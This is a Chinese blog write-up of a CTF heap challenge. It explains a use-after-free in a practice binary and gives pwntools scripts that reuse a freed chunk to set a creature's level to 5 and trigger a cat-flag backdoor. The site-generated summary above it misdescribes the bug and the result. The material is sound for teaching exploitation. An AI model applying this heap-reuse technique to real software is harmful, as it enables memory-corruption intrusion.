Pwn-Glibc堆利用-FirstFit&UAF浅析

本文详细解析了一个利用未初始化的自由块(Use-After-Free, UAF)漏洞进行堆溢出,修改堆中等级变量,最终达到执行系统命令获取Shell的过程。通过分析程序结构和堆内存管理,构造特定输入以篡改数据,展示了安全编程中的常见风险及其利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x1

最近忙于堆的学习,在师傅们的指导下,对堆有了一知半解,找了一个网上的UAF题目来练手。
题目链接:https://www.bilibili.com/video/BV1iE411H7cZ
(再次感谢大佬发布的教学视频)
先检查一下程序:
在这里插入图片描述
发现保护全开。64位,反编译之后发现:
在这里插入图片描述
在main函数中看到后门函数cat flag,但是条件是变量值为5。
运行一下:
在这里插入图片描述
大概意思是程序可以生成一个creature【堆】,里面包含姓名和等级两个参数数据,并且可以通过输入命令来改变这些变量:

After you climb over the snow mountain, you encounter an evil summoner!

He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!

What's your plan for now???

Available plans:
	show - show your creature and its level
	summon [name] - summon a creature called [name]
	level-up [level] - level up your creature (below Level 5)
	strike - STRIKE the evil summoner's creature!!!
	release - release your creature
	quit - give up and die

然后只要达到level5,就能cat flag。
但是程序本身不允许level-up 5指令生效。
**

0x2

漏洞原因:在release指令中,如果释放掉一个仅仅释放堆中的内容,而不是释放堆指针,则会造成只释放了堆数据,我们还可以通过堆溢出复写该指针指向的数据,从而覆盖恶意代码,达到getshell。
在这里插入图片描述

free之后,只把原来的内容置null,没有将原指针置null!
free执行之后,数据还位于原来的地方,没有改变

(UAF不区分bins,不管在fastbin还是unsortedbin,都会产生use after free现象)
思路:
1.将堆中level等级变量置为5
2.将原来的结构体指针申请回来
首先,申请一个堆块,name为aaaa:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)

sla('> ','summon aaaa')
dbg()

观察堆空间变化:
在这里插入图片描述
在这里插入图片描述
可以发现:在0x5624b5d81040处出现注入的0x61616161,即该位置存放name值。
再次编写脚本,发送level等级的创建:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaa')
sla('> ','level-up 4')
#
dbg()

发现在top_chunk中存放着name的地址以及等级的内容,我们可以推断该程序结构体构成:

struct{
	char *name;
	int level;
}

在这里插入图片描述
从而,我们可以通过堆溢出,修改等级,修改level等级,从而实现getshell。

具体实现:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
#
dbg()

在这里插入图片描述
从而,也能看出:即使free掉了*ptr,但是只free了name值,level等级依然存在于堆中。
我们再次申请一个堆块,可以发现,由于UAF机制,释放掉的堆会直接被再次当作一个新堆块被申请,实现如下payload:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
#sla('> ','strike')

dbg()

在这里插入图片描述
这里我们可以发现:等级被覆盖成了level-5.
输入strike指令,即可满足题目*(ptr+2)>=5,实现getshell:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
sla('> ','strike')

dbg()

运行结果:
这里我本地没有建这个flag文件,师傅们将就看,,但是确实执行了system("/bin/cat /pwn/flag")。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值